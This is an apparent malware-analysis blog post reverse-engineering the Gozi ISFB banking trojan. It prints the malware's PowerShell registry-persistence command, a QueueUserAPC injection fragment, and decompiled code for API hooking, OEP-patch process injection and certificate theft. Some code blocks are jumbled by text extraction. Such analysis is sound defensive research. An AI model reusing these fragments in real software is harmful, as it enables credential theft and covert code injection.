# Let's Learn: In-Depth Reversing of Recent Gozi ISFB Banking Malware Version 2.16/2.17 (portion of ISFB v3) & "loader.dll/client.dll" **[vkremez.com/2018/08/lets-learn-in-depth-reversing-of-recent.html](https://www.vkremez.com/2018/08/lets-learn-in-depth-reversing-of-recent.html)** ## Goal: Reverse engineer and analyze one of the latest Gozi "ISFB" ( also called "Ursnif'" amongst various researchers) banking malware variants focusing on the one of the latest "client.dll" 32-bit (x86) one. #ursnif @ hxxp://mghl.de/logs/ssl.cabhttps://t.co/RnuXaCrgAz — Racco42 (@Racco42) August 20, 2018 Malware: Original Packed Loader (MD5: e2476ed98a57bbb14f45fd1e04d4c43c) Downloaded Tor 32-bit DLL Module (MD5: cc312c797e73d06f397516f9b9d7a438) Leaked "client.dll" (February 3, 2015) (MD5: 4fe85d04cc4b8602c27973ab3f08b997) Unpacked Injected "client.dll" (April 14, 2018)(MD5: c23a41c83e82f45b6742ad07218232f9) Other observed "client.dll": *Unpacked Injected "client.dll" (July 31, 2018)(MD5: 22b748df15e580b10c984f691f7c0fa9) *Unpacked "loader.dll" (August 20, 2018)(MD5: 3ec8607de7b0b194f19962d3e987031c) *Unpacked Injected "client.dll" (August 20, 2018) (MD5: 51d010dbca2aa9031b4d12312b56637b) Outline: ``` I. Malware Campaign Spreading "ISFB" Banker II. Background on ISFB Banker III. ISFB Loader v3 (August 20, 2018): QueueUserAPC & PowerShell IV. Differences Between Leaked ISFB and ISFB 2.16/2.17 Variants V. Tor Onion Library VI. Stealer Methods VII. Hooking Method VIII. Process Injection IX. Inject Processor X. Yara Signature: A. ISFB v2.17 "loader.dll" (32-bit) version B. ISFB v2.16/2.17 "client.dll" (32-bit) version XI. Addendum A. Extracted ISFB Configuration B. Hooked APIs C. Original Commands from Leaked ISFB v2.13 D. ISFB "RM3" Function and Debug Statements I. Malware Campaign Spreading "ISFB" Banker While reviewing one of the latest malware campaign spreading the notable ISFB banker, I ``` ----- ## decided to dive deeper into this banker malware sample. It is notable that this specific malware campaign was targeting customers of Italian financial institutions. However, this same bot contains webinjects configuration for both US and Canadian financial institutions. II. Background on ISFB Banker ISFB Banker malware is one of the oldest and one of the most advanced information-stealing malware tracing some of the code to 2006. The Gozi is traced back to the notable "76Service," "CRM," and "Project Blitzkrieg" criminal business clubs targeting customers of financial institutions. I highly recommend reading Maciej Kotowiez's paper titled "ISFB: Still Live and Kicking" before learning more about ISFB banker. The ISFB version "2.13.24.1" (February 3, 2015) source code was leaked originally on the criminal underground in 2015. This same was also uploaded by researchers to GitHub. In the past, the source code of the malware kit was offered for sale for $30,000 USD. However, shortly after, its main actor group offered the code for the following prices: ``` Minimalistic ISFB: $12,000 USD Keylogger support: $3,0000 USD SOCKS support: $3,000 USD Stealer support: $5,000 USD Anti-Rapport: $4,000 USD VNC support: $8,000 USD Backconnect support: $3,000 USD The original client dropper/loader module was called originally "CRM" as part of the Gozi ISFB project. It is notable that the Gozi project originally included the "IAP" web panel project and the "ICS" configurator. It is worth to highlight that there are multiple groups that use the ISFB toolkit including the ones that developed their own "Dreambot" web panel. Fortinet did interesting coverage of the differences between "Dreambot" and the leaked ISFB (including its "joined files" (or “FJ”) struct). III. ISFB Loader (August 20, 2018): QueueUserAPC & PowerShell ISFB banker also contains a simple injected "loader.dll" after the cryptor routine that is used to launch the execution of the malware. The unpacked ISFB loader is small in size of just 44 kb with three imported DLLs. Notably, this loader was observed for observed heavily leveraging PowerShell scripting for registry persistence functionality via the hardcoded cmd command invoking PowerShell: powershell invoke-expression([System.Text.Encoding]::ASCII.GetString((getitemproperty\ 'HKCU:\%S').%s)) ``` ----- ## For example, the loader creates a PowerShell script in hex in the registry that can be decoded that leverages QueueUserAPC bytecode injection to process the next stage as follows: ``` $qbhuthvrmyf = "[DllImport("kernel32")] public static extern IntPtr GetCurrentProcess(); [DllImport("kernel32")] public static extern IntPtr VirtualAllocEx(IntPtr wwj,IntPtr lxffofo,uint aoconcm,uint iuk,uint \ hwsivuroj);" $xuisvutgkgo=Add-Type -memberDefinition $qbhuthvrmyf -Name 'qyaaexcigm' \ -namespace Win32Functions -passthru; $ujppmfuuik="[DllImport("kernel32")] public static extern IntPtr GetCurrentThreadId(); [DllImport("kernel32")] public static extern IntPtr OpenThread(uint xwocdx,uint adflgvt,IntPtr xbxe); [DllImport("kernel32")] public static extern uint QueueUserAPC(IntPtr ijaq, IntPtr twsxxmyebm,\ IntPtr xfnggdcn); [DllImport("kernel32")] public static extern void SleepEx(uint ocqxap,uint cpvoeuen);"; $eeihwxjq=Add-Type -memberDefinition $ujppmfuuik -Name 'btdpmiijeg' -namespace \ Win32Functions -passthru; The "loader" module communicates over HTTP to a separated ISFB server, which hosts the "client" modules (32-bit and 64-bit ones) and the above PowerShell script called "run." Additionally, on July 30, 2018, one ISFB v3 group released the "client.dll" with debugging on. This version 3.0 with build ID "613" revealed that that the loader was called "RM3". ``` ----- ``` [%s:%u] RM3 loader version %u.%u build %u on Windows %u.%u.%u %s ## The main internal "loader.dll" control functions with the respective description are as follows: RM3 "loader.dll' Function Function Description LdrStartLoaderProcess starts "loader.dll" process Ldr2LoadIni checks "LOADER.INI" signature check Ldr2LoadFile retrieves modules over HTTP and checks for signature LdrIsElevated checks the host integrity level and if it has elevated privileges Ldr2GetLoaderModule retrieves and loads the startup module Ldr2SaveModulesToRegistry saves modules to the registry and creates registry hives Ldr2SaveAllModules saves 32-bit and 64-bit "client.dll" modules to the registry Ldr2MakeRunRecord creates an autorun value and makes sure the memory is allocated. Ldr2RegEnumCallback enumerates and writes autorun value and sets Ldr2MakeEncodedImage creates an encoded image using the public key with Serpent and checks for "BlExecuteDllImage" export ReplaceSubStr parses and replaces strings Ldr2SetupModules tries to elevate privileges and loads modules, walks the registry, and and restarts modules as necessary Ldr2LoadModules tries to load modules ``` ----- ## Ldr2DisableIeDialogs disables Internet Explorer dialog since it leverages it for downloading modules Ldr2LoaderMain starts the main loader function All of the modules are encoded with Serpent encryption and can be decoded using its public key. Subsequently, the malware would subsequently install the client.dll via injecting it into explorer.exe and storing a copy of it in the registry. The malware developers, however, deliberately erased a portion of the PE header and removed named references to imported DLL "kernel32.dll" and "ntdll.dll" making malware analysis just a little bit more complicated. IV. Differences Between Leaked ISFB and Latest ISFB Variant I decided to take a look at the leaked code and review their compiled client DLL code. It is notable that the leaked ISFB had the version "2.13.24.1" (February 3, 2015), while one of the latest ISFB variants had a version of "2.16" (April 14, 2018) with the build id "994." The observed botnet ID for the latest sample was "1000." It is worth noting that since ISFB also has version "2.17" (August 20, 2018), which improved some code structure from the previous version and added @KILL@=* inject control. The unpacked 2.16 client.dll contains 645 functions with 183 KB size, while the leaked client.dll contains 512 functions with 136 KB size. The bot also stores "Client32" and "Client64" in FJ struct. The newer sample leverages ".bss" section and unpacks the code via the following pseudo- coded C++ function: ----- ``` /////////////////////////////////////////////////////////////// ///////// ISFB variant ".bss" DecodeFunction ////////////////// /////////////////////////////////////////////////////////////// int __stdcall bss_decodeFunction(int a1) v15 = 0; String1 = 0; v12 = 0; v13 = 0; v14 = 0; lstrcpynA(&String1, ".bss", 8); v1 = decoder(a1, (int)&String1); v2 = v1; if ( v1 ) { v3 = *(_DWORD *)(v1 + 12); if ( v3 && *(_DWORD *)(v1 + 16) ) { v4 = *(_DWORD *)(v1 + 16); v5 = *(_DWORD *)"018"; v6 = (*(_DWORD *)"14 2018" ^ *(_DWORD *)"Apr 14 2018" ^ (v4 + v3)) + 14; v7 = (char *)VirtualAlloc(0, v4, 0x3000u, 4u); v8 = v7; if ( v7 ) { ror4_dec(v7, (char *)(a1 + *(_DWORD *)(v2 + 12)), *(_DWORD *)(v2 + 16), v6, 1); // "version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s" v9 = *(_DWORD *)(v2 + 12); dword_1002B0D4 = *(_DWORD *)(&v8[(_DWORD)aVersionUSoftUU] + -a1 - v9) + *(_DWORD *)(&v8[-a1 - v9 + 4] + (_DWORD)aVersionUSoftUU) - *(_DWORD *)(&v8[-a1 - v9 + 12] + (_DWORD)aVersionUSoftUU); if ( dword_1002B0D4 == 0x736C6E70 ) memcpy((void *)(a1 + v9), v8, *(_DWORD *)(v2 + 16)); else v15 = 12; VirtualFree(v8, 0, 0x8000u); } ## It is important to investigate binary-level and function-level differences between the leaked earlier version of ISFB and the recent unpacked one before taking a deeper dive into the newer version. ``` ----- ## The latest v2.16 version contains the exact same static import table as the original leaked v2.13 one with the additional 4 ntdll.dll (e.g., new and changed APIs are NtQuerySystemInformation, RtlUpcaseUnicodeString, RtlImageNtHeader, _snprintf, etc.) and 7 kernel32.dll imports. In order to identify and highlight differences, I decided to utilize an open-source plugin tool "Diaphora" for IDA leveraging its decompiler mode. The binary diff analysis between the latest client.dll versus the leaked one version shows the following results: ``` Full matches: 259 functions Partial matches: 72 functions Unreliable matches: 126 functions Unmatched functions in the latest client.dll: 21 functions Unmatched functions in the leaked client.dll: 188 functions ``` ----- ## Some of the differences in the latest client DLL include additions in the URI template such as follows with "/images/" URI path, for example: ``` &ip=%s &os=%s &tor=1 %time=%lu %action=%u ``` ----- ## By and large, in general, the ISFB bot<->server communication channels relies on four major types of communication: ``` Hardcoded domains Domain Generation Algorithm (DGA) Tor Onion Communication Peer-to-Peer Protocol (P2P) The URI requests are linked to the same path "soft=%u&version=%u&user=%08x%08x%08x%08x&server=%u&id=%u&crc=%x": ".gif" - obtain a new task, which is linked to "LastTask" registry check ".jpeg" - obtain a new config, which saves the new config. It is linked to "Main" registry check, which saves the config. ".bmp" ".avi" The newer version has a different user-agent string as "Mozilla/5.0 (Windows NT %u.%u%s) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.71 Safari/537.36" versus the leaked one with "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT %u.%u%s)." By and large, the ISFB variant bot heavily relies on the registry for storage and queries of tasks including the following registry query checks for the values of interest: ``` ----- ``` #define szDataRegDataValue_src _T( Main ) #define szDataRegBlockValue_src _T("Block") #define szDataRegTemplate_src _T("Temp") #define szDataRegClientId_src _T("Client") #define szDataRegIniValue_src _T("Ini") #define szDataRegKeysValue_src _T("Keys") #define szDataRegKillValue_src _T("Kill") #define szDataRegExeValue_src _T("Install") #define szDataRegTaskValue_src _T("LastTask") //#define szDataRegConfigValue_src _T("LastConfig") #define szDataRegTorValue_src _T("TorClient") //#define szDataRegExecValue_src _T("Exec") //#define szDataRegOperaHook_src _T("OpHook") //#define szDataRegCrhromeHook_src _T("CrHook") ## The bot also checks the config settings for "LastTask", for example in the registry via the following "GetLastTask" proc near prototype in ASM: ``` ----- ``` ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;; ISFB Gozi GetLastTask ;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; push ebp mov ebp, esp sub esp, 24h push ebx push esi push edi lea eax, [ebp+cbData] push eax ; lpcbData lea eax, [ebp+lpMem] push eax ; int xor ebx, ebx push offset aLasttask ; "LastTask" mov [ebp+var_14], ebx call RegQueryValueExFunction cmp eax, ebx jnz short loc_100036CC cmp [ebp+cbData], 8 mov eax, [ebp+lpMem] jnz short loc_100036BC mov ecx, [eax] mov dword ptr [ebp+Data], ecx mov ecx, [eax+4] mov [ebp+var_1C], ecx jmp short loc_10003BA9 ## Additionally, the latest ISFB variant deploys system checks in addition to the usual software enumeration via HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\ for "net view" command (view of mapped devices, shares) as well as "nslookup myip.opendns.com resolver1.opendns.com" (view of external IP address), which are new to the malware variant. IV. Tor Onion Library This specific ISFB variant version 2.16 was configured to use the Tor DLL library that was downloaded for either 32-bit or 64-bit architecture for bot<->server communications The downloaded Tor DLL contains the program database as follows: C:\Users\mr_wi\OneDrive\Projects\tordll\Release\tordll.pdb Additionally, the Tor DLL library contained the following four DLL exports: Name Address Ordinal TorCloseRequest 100022D0 1 TorCompleteRequest 10002210 2 TorOpenRequest 10001DF0 3 TorSendRequest 10002100 4 DllEntryPoint 10184402 [main entry] ``` ----- ## The malware retrieves Tor modules (either 32-bit or 64-bit ones) via the dynamic configuration with the "file://" path. ``` ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;; ISFB Gozi Tor "file://" & Communicator Check ;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; push ebp ; mov ebp, esp push ecx push ecx ; lpSrch push ebx ; lpFirst push esi mov esi, StrStrIA push edi mov edi, eax push offset Srch ; "file://" push edi ; lpFirst call esi ; StrStrIA xor ebx, ebx cmp eax, edi jz short loc_10003B98 push offset a_onion ; ".onion/" push edi ; lpFirst call esi ; StrStrIA test eax, eax lea eax, [ebp+var_4] push eax lea eax, [ebp+lpMem] push eax jz short loc_10003B90 push 1 push ebx push ebx push ebx push ebx push dword_1002B160 push edi call sub_1000E0EE jmp short loc_10003BA9 The following pseudo-coded instruction is responsible for storing the "TorClient" in registry: ``` ----- ``` /////////////////////////////////////////////////////////////////////// /////// ISFB "TorClient" RegistrySetup excerpt //////////////////////// /////////////////////////////////////////////////////////////////////// if ( cbData > 0x40000 ) { v8 = GetTempFileNameA_getcurrentthread(0); if ( v8 ) { v2 = registryWriteFile(v8, 0, 0, (int)ImageBase, v7); if ( !v2 ) { v9 = lstrlenA(v8) + 1; rol4(v8, v9, dword_1002B098); v2 = RegSetValueEx_func(aTorclient, (BYTE *)v8, v9, 3u);//"TorClient" } HeapFree(hHeap, 0, (LPVOID)v8); } else { v2 = 8; } } else { rol4(ImageBase, cbData, dword_1002B098); v2 = RegSetValueEx_func(aTorclient, (BYTE *)ImageBase, v7, 3u);//TorClient" } } if ( ImageBase ) HeapFree(hHeap, 0, ImageBase); return v2; } ## V. Stealer Methods Finally, ISFB leverages multiple functionalities to retrieve certificates, extract cookie information, steal email accounts stored locally. A. "GET_SYSINFO" The malware opens a registry key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" and enumerates keys via RegEnumKeyExW API to obtain a list of installed software. B. "GET_CERTS" ``` ----- ## The malware hooks CryptGetUserKey API and exports user-specific certificates to ".pfx" file from the Windows certificate store and sends them to the server. The function also contained a unique string "ISFB." ``` /////////////////////////////////////////////////////////////////////// /////// ISFB "GetCertificates" to .pfx /////////////////////////////// /////////////////////////////////////////////////////////////////////// CertExportToPfx("My", CertFullName); CertExportToPfx("AddressBook", CertFullName); CertExportToPfx("AuthRoot", CertFullName); CertExportToPfx("CertificateAuthority", CertFullName); CertExportToPfx("Disallowed", CertFullName); CertExportToPfx("Root", CertFullName); CertExportToPfx("TrustedPeople", CertFullName); CertExportToPfx("TrustedPublisher", CertFullName); C. "GET_COOKIES" ISFB tries to obtain cookies from the following browsers, for example: Internet Explorer (local search as "*.txt" in APPDATA\Low) Mozilla Firefox (local search as Mozilla\Firefox for "cookies.sqlite") The ISFB variant also searches for "*.sol" files associated with Flash Player cookies. C. "GET_MAIL" ISFB harvests and sends to the server Windows Live Mail and Outlook email credentials via ``` ----- ## local and registry searches of both software and browser store logins focusing on HTTP, IMA, POP3, and SMTP emails and passwords and stores them in this following format: ``` type=%S, name=%S, address=%S, server=%S, port=%u, ssl=%S, user=%S, password=%S Additionally, it issues a command "cmd.exe" /C pause mail" to presumably unlock the retrieval of email credentials from applications. VI. Hooking Method While "relaxing" SPDY browser security (e.g., via "user_pref("network.http.spdy.enabled", false)" in Mozilla Firefox's "prefs.js" file), ISFB uses their own user-mode hooking method of various API calls. For example, the malware hooks various Mozilla Firefox browser APIs and leverages ntdll's API such as LdrRegisterDllNotification to set and remove DLL load and unload notification call-back, for example. The malware also hooks LoadLibraryA, for example, to intercept calls while targeting Chrome and Opera. Additionally, it hooks API as well to bypass SPDY. Other malware hooks include RegGetValueW RegQueryValueExW for querying registry, CreateProcess* (4 APIs) hooks for process injection as well as CryptGetUserKey hook for certificate export. As usual, the malware overwrites the function prologue with the relative JMP opcode (0xe9) to its detour function. ``` ----- ``` ////////////////////////////////////////////////////// // ISFB Banker 'EnableHook' with "0xe9" offset jmp /// ////////////////////////////////////////////////////// v4 = (void *)lstrlenDecoder(a2, *(LPCSTR *)(a1 + 4), 0, (int)&v12); lpAddress = v4; if ( v4 ) { flNewProtect = 0; if ( VirtualProtect(v4, 4u, 0x40u, &flNewProtect) ) { v5 = flOldProtect; *(_DWORD *)(flOldProtect + 0x18) = a1; *(_DWORD *)(v5 + 8) = a2 + *(_DWORD *)v4; *(_DWORD *)(v5 + 12) = v4; *(_DWORD *)(v5 + 16) = *(_DWORD *)v4; v14 = HookVirtual_recurs(a2, v5, a1, a3); if ( v14 == 1 ) { if ( dword_1002B070 ) { v6 = func8DecoderHeapFree(a2, *(_DWORD *)(v5 + 8)); if ( v6 ) { // Set up the function for "PAGE_EXECUTE_READWRITE" w/ VirtualProtect if ( VirtualProtect((LPVOID)v6, 5u, 0x40u, &flOldProtect) ) { *(_DWORD *)(v6 + 1) = *(_DWORD *)(v5 + 20) - v6 - 5; *(_BYTE *)v6 = 0xE9u; // "0xe9" opcode for a jump with 32bit relative *(_DWORD *)(v5 + 0x14) = v6; *(_DWORD *)(a1 + 0xC) = v6; if ( flOldProtect != 0x40 ) flOldProtect = 0x20; VirtualProtect((LPVOID)v6, 5u, flOldProtect, &flOldProtect); } } } *(_DWORD *)lpAddress = *(_DWORD *)(v5 + 20) - a2; VirtualProtect(lpAddress, 4u, flNewProtect, &flNewProtect); *(_DWORD *)(v5 + 28) |= 0x102u; if ( *(_WORD *)(v5 + 28) & 0x200 ) VirtualProtectMain(v7, (const CHAR *)v12, v5); EnterCriticalSection(&stru_1002B220); v8 = dword_1002B218; *(_DWORD *)v5 = dword_1002B218; *(_DWORD *)(v5 + 4) = &dword_1002B218; v8[1] = v5; dword_1002B218 = (LPVOID)v5; LeaveCriticalSection(&stru_1002B220); *(_DWORD *)(a1 + 16) = a2 + *(_DWORD *)(v5 + 16); v14 = 0; v9 = ZwQueryInformationProcess2(a2); VII. Process Injection ``` ----- ## One of the notable malware components is its process injection routine that deals with "client" DLL injection. The process injection works around CreateProcess* hooks set up by the malware. For example, the malware sets up their CreateProcessW with the function prototype having the suspended flag (0x4) and the subsequent process injection call. The idea is to suspend processes before they start, inject the malware DLL into them, and resume them. ISFB also uses a pretty clever trick to make sure processes of interest are not hooked too early, i.e., before their main thread execution. The malware simply hacks a way to patch via ReadProcessMemory/WriteProcessMemory process original entry point (OEP) and wait until it loads and then restores unmapping the executable in the process memory and resuming/running it in memory. This method is also referenced in the leaked ISFB. ----- ``` ////////////////////////////////////////////////////// // ISFB Banker CreateProcess "OEP" Patch Until Main /// ////////////////////////////////////////////////////// signed int __userpurge ProcessInjectDll(int a1, int a2, char a3, void *a4) { lpProcessInformation_thread = a1; v15 = 0; memset(&v16, 0, 0x2C8u); hProcess = *(HANDLE *)lpProcessInformation_thread; v6 = *(void **)lpProcessInformation_thread; origin_patch = 0xCCCCFEEB; intArchitect = 0; if ( open_proc_x86_x64(v6, 0) ) // Check if process x64/x86 { intArchitect = 0x10; } else if ( orig_patch & 1 ) { oep = GetProcessEntry(a2); goto LABEL_19; } v15 = 0x10007; oep_1 = a4; if ( !a4 ) oep_1 = (LPVOID)ZwQuery_RtlNtStatusToDosError_0(*(HANDLE *)lpProcessInformation_thread); if ( ReadProcessMemory(hProcess, oep_1, &original_1, 4, &NumberOfBytesRead) && NumberOfBytesRead == 4 && PatchMemory(hProcess, oep_1, (int)&origin_patch) )// sizeof(0xCCCCFEEB) -> patch { v10 = 3000; do { ResumeThread(*(HANDLE *)(lpProcessInformation_thread + 4)); if ( WaitForSingleObject(hHandle, 0x64u) != 0x102 ) v10 = 0x64; SuspendThread(*(HANDLE *)(lpProcessInformation_thread + 4)); v10 -= 0x64; RtlNtStatusToDosErrorMain(*(_DWORD *)(lpProcessInformation_thread + 4), (int)&v15); } // Unmap injected image in memory of the process NtUnmapViewofSection /WriteProcessMemory while ( v10 > 0 && v17 != oep_1 ); if ( v17 == oep_1 ) oep = injectImageUnmap(a2, (HANDLE *)lpProcessInformation_thread, intArchitect, 0); else oep = 0x261; PatchMemory(hProcess, oep_1, (int)&original_1);// restore -> original OEP bytes LABEL_19: if ( oep != 0xFFFFFFFF ) goto LABEL_21; } ``` ----- ``` oep GetLastError(); LABEL_21: if ( !(a3 & 4) ) ResumeThread(*(HANDLE *)(lpProcessInformation_thread + 4)); return oep; } VIII. Inject Processor ## The ISFB variant leverages the following key logic elements for credential-stealing functionality and uses them for webinject and replica control: @ID@ -> bot id (victim host identity) @GROUP@ -> group id (group id of the bot) @RANDSTR@ -> random string @URL=*@ -> targeted financial institutions @CONFIG=*@ -> configuration @VIDEO=*@ -> video to record once the victim visit the page of interest @SOCKS=*@ -> connect SOCKS server @KILL=*@ -> kill command (only with 2.17 version) @VNC=*@ -> connect VNC As mentioned earlier, this specific campaign targeted customers of Italian, Canadian, and US financial institutions. The webinject injects in their config are stored in the registry and are presented in the following own format, for example. ///////////////////////////////////////////////////////// ////////////////// ISFB WebInject Config Example //////// ///////////////////////////////////////////////////////// "*", "", "" } One of the more interesting features of the malware is on-demand video-recording victim visits to specific websites usually for 3 minutes with VIDEO parameters { @VIDEO@=7,180 }. Indeed, ISFB utilizes imported Avifil32.dll and various AVI* functions to record data to a ``` ----- ## stream saving it locally and exfiltrating it later to the server in order to review it for the possible account takeover fraud. Moreover, ISFB also uses known webinject scripts developed by another actor. The scripts are called "_brows.cap" with the script name